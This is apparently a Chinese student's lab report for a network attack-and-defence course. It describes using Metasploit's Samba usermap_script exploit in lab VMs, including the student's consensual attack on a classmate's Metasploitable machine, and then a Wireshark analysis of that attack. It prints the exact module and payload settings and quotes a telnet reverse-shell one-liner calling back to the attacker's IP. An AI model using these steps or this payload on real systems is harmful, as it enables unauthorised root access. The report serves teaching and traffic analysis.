20252812 2025-2026-2 《网络攻防实践》实践七报告

20252812 2025-2026-2 《网络攻防实践》实践七报告

1.实践内容

1.1 本周学习内容

1.1.1 Linux概述

Linux系统在服务器、安全敏感部门、移动终端市场上有重要地位。Linux之所以能成为目前最受关注的系统之一,是因为其开放性与免费性。Linux具有开放性是因为它的源代码是对外开放的,正因如此,才会有大量程序开发人员研究Linux。正因为Linux是免费的,Linux才能得到广大的用户基础。Linux内核采用抢占式多用户多进程模式,由内核的进程管理模块负责调度硬件资源。Linux的内存管理模块允许多个进程安全地共享物理内存区域。Linux支持虚拟内存,在三十二位的i386机器上,每个进程拥有独立的4GB虚拟内存空间,用户态代码申请的虚拟内存空间为0-3GB区间。

1.1.2 Linux远程攻防技术

Linux支持telnet、rlogin、SSH等。这些协议使用Linux内置的用户名和口令对远程用户进行身份认证。如果攻击者能成功猜测一组用户名和口令,就可以用这些信息远程登录,获得本地访问权。Linux系统中的软件是采用“集市”模式开发的,且都是开源软件,因此黑客可以分析软件的源代码并从中挖掘漏洞。Linux系统中的安全漏洞可能未在第一时间报告给软件开发团队进行修补,而是被黑客团队利用。Linux的Apache服务被检出CVE-2009-065漏洞,Samba服务被检出了CVE-2010-2063漏洞。为防范针对Linux系统的各种攻击,应当采取这些防御手段:1.禁用所有不必要的网络服务。2.选择更安全的网络协议与服务软件,并用最佳安全实践进行部署。3.及时更新网络服务的版本。4.使用xinetd、防火墙为Linux网络服务添加网络访问控制机制。5.建立入侵检测与应急响应计划流程。

1.2 实践内容概述

本次实践的内容有两项:1.使用本地的一台攻击机攻击本地的Metasploitable_ubuntu,要利用Samba服务的Usermap_script安全漏洞获取root权限,无需捕获网络数据包。2.使用本地的攻击机攻击另一位同学的Metasploitable_ubuntu,可以攻击任何漏洞,与此同时防守方用tcpdump/wireshark/snort监听,攻击方要尝试获取root权限。攻击结束后,结合数据包文件分析攻击者的IP、目标IP、端口、发起攻击的时间、攻击利用漏洞、使用的Shellcode、攻击成功之后在命令行输入的信息。

2.实践过程

2.1 用Metasploit开展Linux远程渗透攻击

在这部分实验任务中,我用Kali虚拟机针对Metasploitable_ubuntu虚拟机上的Usermap_script这个漏洞进行攻击,尝试获取root权限。
首先通过ifconfig命令查到Kali的IP地址和Metasploitable_ubuntu的IP地址分别是192.168.173.68、192.168.173.58。
用Kali去ping Metasploitable_ubuntu,发现能ping通。
image
用msfconsole命令启动metasploit,搜索usermap,然后把exploit/multi/samba/usermap_script作为攻击模块。
image
输入set payload cmd/unix/reverse,这是一个能通过Telnet协议反向连接到shell的payload。然后用set RHOSTS 192.168.173.58把靶机的IP地址设置为192.168.173.58。用set LHOST 192.168.173.68把攻击机的IP地址设置为192.168.173.68(即我的Kali本身的IP地址)。然后通过set LPORT 39615命令把接收shell的端口设置为39615(这是我随便选的端口号),再用show options查看配置,发现payload已被配置好,这时输入exploit开始攻击。
image
msf提示开启了一个会话,说明攻击成功,我输入ps -al命令,查看了靶机上的进程详细信息,后又用whoami命令查看到当前用户为root,这说明我的Kali主机已取得靶机的root权限,接着我用getent group命令查看靶机上面的用户组的信息,发现靶机上有名为root、daemon、bin、sys等的用户组。
image

2.2 攻防对抗实践

在开展这一部分实践任务时,我的Kali虚拟机攻击雷钊的Metasploitable_ubuntu上的Usermap_script漏洞并获得系统控制权。首先我和雷钊都把虚拟机关机,设置为桥接模式,再重启。查看IP地址,我的Kali的IP地址是192.168.1.112,雷钊的Metasploitable_ubuntu的IP地址为192.168.1.113。首先,我尝试用Kali去ping Metasploitable_ubuntu,发现能ping通。
image
把攻击模块设为exploit/multi/samba/usermap_script,把payload设置为cmd/unix/reverse,把靶机IP地址集合设置为192.168.1.113,即雷钊的Metasploitable_ubuntu的IP地址,把攻击机的IP地址设置为192.168.1.112,即我的Kali的IP地址。
image
把自己这一方的端口设置为58154,这是我随便选的数字。再通过show options查看配置,发现CPORT、CHOST没有被设置(也没必要被设置),然后RHOSTS、RPORT等都被设置好了,于是用exploit开始攻击。
image
靶机被攻陷了,msf上开启了一个会话,我用ps -al查看到了当前的唯一一个进程的信息,用whoami查看当前用户,得到root,说明我已获取root权限,接着我用getent group查看靶机上的用户组信息,发现了名为voice、uucp等的组。
image
我创建了/root/20252812/这个文件夹,在其中新建了20252812.txt,然后输入了一个杂乱的字符串进去。
image
雷钊打开他的Metasploitable_ubuntu,发现确实被创建了/root/20252812/这个文件夹,被新建了20252812.txt,其中有个乱字符串。
image
打开雷钊发给我的线鲨抓包文件,用((ip.addr == 192.168.1.112) && (ip.addr == 192.168.1.113))过滤,得到84个报文。分析下面的截图,192.168.1.112先是访问192.168.1.113的139号端口,这是Samba协议对应的端口,192.168.1.112是想利用Samba协议攻陷对方,因此攻击方的IP地址为192.168.1.112,靶机的IP地址为192.168.1.113。结合下图可知在前期,192.168.1.112的42003号端口访问192.168.1.113的139号端口,在后期,192.168.1.112的58154号端口访问192.168.1.113的51938、51937号端口。
image
打开第一个数据包并截图,由下图被划上黄线的文字可知,攻击发起时间是二零二六年五月六日二十一时五十二分四十六点一一一九六秒。
image
打开12208号分组,可以看到SMB协议的数据部分的Account字段被写入了超长内容,这些就是shellcode。shellcode是nohup sh -c '(sleep 4126|telnet 192.168.1.112 58154|while : ; do sh && break; done 2>&1|telnet 192.168.1.112 58154 >/dev/null 2>&1 &)'。其中的telnet 192.168.1.112 58154让靶机通过telnet协议连接到攻击机的58154号端口。攻击机利用Account(用户名称)字段实现恶意代码注入,在shellcode前面有斜杠这个特殊字符,上网查资料可知利用的漏洞是Usermap_script漏洞。
image
跟踪264号TCP流并显示其中数据,可以看出靶机被攻陷后,攻击机执行了两条echo命令,让靶机回显字符串,然后依次输入了ps、whoami、getent group、cd、mkdir、cd、echo、cat命令。其中,前面两条echo命令不是我输入的,应该是metasploit向靶机发出的命令,后面的所有命令都是由我输入的。
image

总结上述信息。

属性
攻击者的IP 192.168.1.112
目标IP 192.168.1.113
端口 42003、139、58154、51938、51937
攻击发起时间 二零二六年五月六日二十一时五十二分四十六点一一一九六秒
攻击利用漏洞 Usermap_script
使用的Shellcode nohup sh -c '(sleep 4126|telnet 192.168.1.112 58154|while : ; do sh && break; done 2>&1|telnet 192.168.1.112 58154 >/dev/null 2>&1 &)'

攻击分为两个阶段:破解阶段与指令执行阶段。在破解阶段,攻击者通过与靶机的139号端口交互破解靶机,对应的TCP流是263号流。前四个数据包用于建立连接,最后一个数据包用RST终止了连接。双方先是用Negotiate Protocol进行了一些协商,然后进行了其他交互。
image
打开Wireshark汇总的流数据,可以发现其中有很多非ASCII字符,也有SMB、WORKGROUP这样的一般人能看懂的内容。中间有一长串可读字符,这些是shellcode。
image
在含shellcode的报文被发送给靶机后,靶机就已经被攻陷了,它立马主动建立提供shell的TCP连接,于是进入指令执行阶段。在指令执行阶段,雷钊的Metasploitable_ubuntu的51937.51938号端口分别主动与我的Kali的58154端口建立TCP连接,于是经历了三次握手过程,这两个连接都被建立了。这两个连接的第一次握手的报文都被重传了一次。被建立以后,传送命令的连接和传送响应的连接同时存在,报文交织在一起。从编号为12219的报文开始有数据。192.168.1.112:58154与192.168.1.113:51937之间的连接用于传输命令,攻击方每传输一个命令,靶机就传输一个不带数据的ACK报文。在这个连接中没有靶机对命令的响应。具体命令在264号TCP流的数据中,前面已经展示过,此处不再赘述。192.168.1.112:58154与192.168.1.113:51938之间的连接用于传输靶机对命令的响应。靶机每发送对一个命令的响应,攻击机就发送一个ACK报文。
image
查看192.168.1.112:58154与192.168.1.113:51938之间的连接对应的数据,也就是265号TCP流的数据,前面先是一些not found提示,然后是攻击方发出的一个echo命令,整个连接中只有这个命令,其余的都是对各种命令的响应。后续就是执行ps、getent group等命令的结果。
image

3.学习中遇到的问题及解决

  • 问题1:在本地攻击Metasploitable_ubuntu时,攻击失败。
  • 问题1解决方案:首先确认自己所选靶机为教师提供的Metasploitable_ubuntu,然后要选择合适的payload,用有的payload就是会导致攻击失败,例如我试过涉及python、php的payload,都失败了。cmd/unix/reverse是个不错的选择,在这个payload中正确地配置好各种选项后,就能攻击成功了。
  • 问题2:在VMware上把Metasploitable_ubuntu的网络连接设置为桥接后,开启Metasploitable_ubuntu,IP地址仍为原来NAT状态下的IP地址。
  • 问题2解决方案:修改Metasploitable_ubuntu的/etc/rc.local,把IP地址配置为虚拟机外的物理机所连接的无线局域网内IP地址,让掩码和默认网关与物理主机的掩码和默认网关保持一致。然后保存/etc/rc.local,再重启Metasploitable_ubuntu,此时其IP地址就是桥接模式下的IP地址了。

4.实践总结

我感觉本实验中攻击比较简单,按照其他同学的实验报告一步一步执行命令即可,但是在分析抓包文件方面稍微有点工作量,因为其他同学在分析攻击过程方面阐述得不是很详尽,因此我自己通过线鲨阅读了很多数据包,得出了TCP连接的用途、TCP连接中传输的内容等结论。我感觉线鲨这个协议分析仪其实挺好用的,它里面用不同颜色标注了不同种类、有不同标志位的报文,还能筛选TCP流进行分析,这就能把一个TCP流从海量数据包中单独拎出来。在线鲨中,还可以用过滤器筛选出自己想分析的数据包集合,如果不理解其过滤器语法,通过在网上搜索立马可以查到过滤器语法规则。
通过Metasploit开展网络攻击时,无论是攻击Windows主机,还是攻击Linux主机,流程都差不多,都是确定漏洞、选取攻击模块、选取payload、设置攻击模块、进行攻击、在获取shell后执行指令这些步骤。

5.参考资料

posted @ 2026-05-06 15:33  三六三的病人  阅读(2)  评论(0)    收藏  举报